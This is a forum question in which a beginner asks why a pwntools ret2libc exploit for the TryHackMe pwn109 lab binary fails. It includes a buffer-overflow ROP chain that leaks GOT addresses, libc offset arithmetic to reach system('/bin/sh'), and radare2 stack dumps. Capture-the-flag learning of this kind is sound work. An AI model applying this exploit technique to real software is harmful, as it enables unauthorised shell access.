First and foremost, I am a noob pwner. The problem at hand is from TryHackMe.com > pwn101 > pwn109. A simple ret_2_libc in which you exploit a simple buffer overflow, leak the addresses of gets(), puts(), setvbuff() using the puts() function and the .got...

I am running Ubuntu 22.04.3 LTS on VMWare. The tools I have been using are Radare2, Cutter, and the pwntools package of course.

My initial payload looks like this:

payload = b"A"*0x20 
payload += b"B"*0x8
payload += p64(0x000000000040101a) # ret is here for stack alignment
payload += pop_rdi_ret + p64(binary.got.puts) + p64(binary.plt.puts)
payload += pop_rdi_ret + p64(binary.got.gets) + p64(binary.plt.puts)
payload += pop_rdi_ret + p64(binary.got.setvbuf) + p64(binary.plt.puts)
payload += p64(0x004011f2) # Success!

I have been successfully able to leak the addresses, and hijack the execution flow in which I get a stack like this: (radare2)

0x7ffdf19b0620 0x4141414141414141   AAAAAAAA @ rsp ascii ('A')
0x7ffdf19b0628 0x4141414141414141   AAAAAAAA ascii ('A')
0x7ffdf19b0630 0x4141414141414141   AAAAAAAA ascii ('A')
0x7ffdf19b0638 0x4141414141414141   AAAAAAAA ascii ('A')
0x7ffdf19b0640 0x4242424242424242   BBBBBBBB @ rbp ascii ('B')
0x7ffdf19b0648 0x000000000040101a   ..@..... 4198426 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .init sym._init program R X 'ret' 'pwn109.pwn109'
0x7ffdf19b0650 0x00000000004012a3   ..@..... 4199075 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .text sym.__libc_csu_init program R X 'pop rdi' 'pwn109.pwn109'
0x7ffdf19b0658 0x0000000000404018   .@@..... 4210712 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .got.plt reloc.puts program R W 0x7f0bc5c80e50
0x7ffdf19b0660 0x0000000000401064   d.@..... 4198500 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .plt.sec sym.imp.puts program R X 'bnd jmp qword [rip + 0x2fad]' 'pwn109.pwn109'
0x7ffdf19b0668 0x00000000004012a3   ..@..... 4199075 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .text sym.__libc_csu_init program R X 'pop rdi' 'pwn109.pwn109'
0x7ffdf19b0670 0x0000000000404020    @@..... 4210720 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .got.plt reloc.gets program ascii (' ') R W 0x7f0bc5c80520
0x7ffdf19b0678 0x0000000000401064   d.@..... 4198500 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .plt.sec sym.imp.puts program R X 'bnd jmp qword [rip + 0x2fad]' 'pwn109.pwn109'
0x7ffdf19b0680 0x00000000004012a3   ..@..... 4199075 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .text sym.__libc_csu_init program R X 'pop rdi' 'pwn109.pwn109'
0x7ffdf19b0688 0x0000000000404028   (@@..... 4210728 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .got.plt reloc.setvbuf program ascii ('(') R W 0x7f0bc5c815f0
0x7ffdf19b0690 0x0000000000401064   d.@..... 4198500 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .plt.sec sym.imp.puts program R X 'bnd jmp qword [rip + 0x2fad]' 'pwn109.pwn109'
0x7ffdf19b0698 0x00000000004011f2   ..@..... 4198898 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .text main,main,r13 main program R X 'endbr64' 'pwn109.pwn109'
0x7ffdf19b06a0 0xd6e32be440787800   .xx@.+..
0x7ffdf19b06a8 0xd70f435776507879   yxPvWC..
0x7ffdf19b06b0 0x00007f0b00000000   ........
...(rest of stack is irrelevant)...

Note that the comments on the right validate that I am properly getting gets(), puts(), and setvbuf().

The addresses that get printed out are: 0x7fe322e80e50 0x7fe322e80520 0x7fe322e815f0

These are randomized due to ASLR. I then looked up the libc version of these addresses using: libc-database in order to get the correct offsets. First thing that is a little fishy is that 'libc6_2.35-0ubuntu3.4_amd64' popped up, which if you look at the code block below, it says that the library is x86_64. I am using the mapping command 'dm':

0x0000000000400000 - 0x0000000000401000 - usr     4K s r-- /home/ceej/tryHackMe/pwn109/pwn109.pwn109 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 ; segment.ehdr
0x0000000000401000 - 0x0000000000402000 * usr     4K s r-x /home/ceej/tryHackMe/pwn109/pwn109.pwn109 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 ; map._home_ceej_tryHackMe_pwn109_pwn109.pwn109.r_x
0x0000000000402000 - 0x0000000000403000 - usr     4K s r-- /home/ceej/tryHackMe/pwn109/pwn109.pwn109 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 ; obj._IO_stdin_used
0x0000000000403000 - 0x0000000000404000 - usr     4K s r-- /home/ceej/tryHackMe/pwn109/pwn109.pwn109 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 ; map._home_ceej_tryHackMe_pwn109_pwn109.pwn109.r__
0x0000000000404000 - 0x0000000000405000 - usr     4K s rw- /home/ceej/tryHackMe/pwn109/pwn109.pwn109 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 ; map._home_ceej_tryHackMe_pwn109_pwn109.pwn109.rw_
0x00007fcc13600000 - 0x00007fcc13628000 - usr   160K s r-- /usr/lib/x86_64-linux-gnu/libc.so.6 /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007fcc13628000 - 0x00007fcc137bd000 - usr   1.6M s r-x /usr/lib/x86_64-linux-gnu/libc.so.6 /usr/lib/x86_64-linux-gnu/libc.so.6 ; map._usr_lib_x86_64_linux_gnu_libc.so.6.r_x
0x00007fcc137bd000 - 0x00007fcc13815000 - usr   352K s r-- /usr/lib/x86_64-linux-gnu/libc.so.6 /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007fcc13815000 - 0x00007fcc13819000 - usr    16K s r-- /usr/lib/x86_64-linux-gnu/libc.so.6 /usr/lib/x86_64-linux-gnu/libc.so.6 ; map._usr_lib_x86_64_linux_gnu_libc.so.6.r__
0x00007fcc13819000 - 0x00007fcc1381b000 - usr     8K s rw- /usr/lib/x86_64-linux-gnu/libc.so.6 /usr/lib/x86_64-linux-gnu/libc.so.6 ; map._usr_lib_x86_64_linux_gnu_libc.so.6.rw_
0x00007fcc1381b000 - 0x00007fcc13828000 - usr    52K s rw- unk0 unk0 ; map.unk0.rw_

but moving on... I calculate the values of 'system' and 'str_bin_sh' using this (python3):

offset_system = 0x50d70
offset_gets = 0x80520
offset_bin_sh = 0x1d8698

dist_system = offset_gets - offset_system
dist_bin_sh = offset_bin_sh - offset_gets

calc_system = gets_address - dist_system  #gets_address is set to the dynamic address of gets()
calc_bin_sh = gets_address + dist_bin_sh

payload = b"A"*0x20 
payload += b"B"*0x8
payload += p64(0x000000000040101a) # ret
payload += p64(calc_bin_sh)
payload += p64(calc_system)

And strangely enough, after sending this 2nd payload (in the same execution instance) the stack gets overwritten in with the correct 'str_bin_sh' address but not the correct 'system' address!

[0x0040122a]> pxr @ rsp
0x7ffc1f0751e8 0x4141414141414141   AAAAAAAA @ rax ascii ('A')
0x7ffc1f0751f0 0x4141414141414141   AAAAAAAA ascii ('A')
0x7ffc1f0751f8 0x4141414141414141   AAAAAAAA ascii ('A')
0x7ffc1f075200 0x4141414141414141   AAAAAAAA ascii ('A')
0x7ffc1f075208 0x4242424242424242   BBBBBBBB @ rbp ascii ('B')
0x7ffc1f075210 0x000000000040101a   ..@..... 4198426 /home/ceej/tryHackMe/pwn109/pwn109.pwn109 .init sym._init program R X 'ret' 'pwn109.pwn109'
0x7ffc1f075218 0x00007fe322fd8698   ...".... /usr/lib/x86_64-linux-gnu/libc.so.6 library R 0x68732f6e69622f /bin/sh
0x7ffc1f075220 0x00007fe322e50d70   p..".... /usr/lib/x86_64-linux-gnu/libc.so.6 library R X 'endbr64' 'libc.so.6'
0x7ffc1f075228 ..[ null bytes ]..   00000000 
0x7ffc1f075238 0x00007ffc1f0752c8   .R...... [stack] r12 stack R W 0x7ffc1f0773d6
0x7ffc1f075240 ..[ null bytes ]..   00000000 
...(rest of stack is irrelevant)...

I'm kinda lost here. These are the possibilities that I think it may be:

  • wrong libc version (but no other versions are popping up)
  • my math for calculating the addresses is off somewhere
  • there is something behind the scenes that I am not aware of

Thank you very much for whatever feedback you give, I am loving pwning so far!

Side Question: Is pwning always this fun?


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.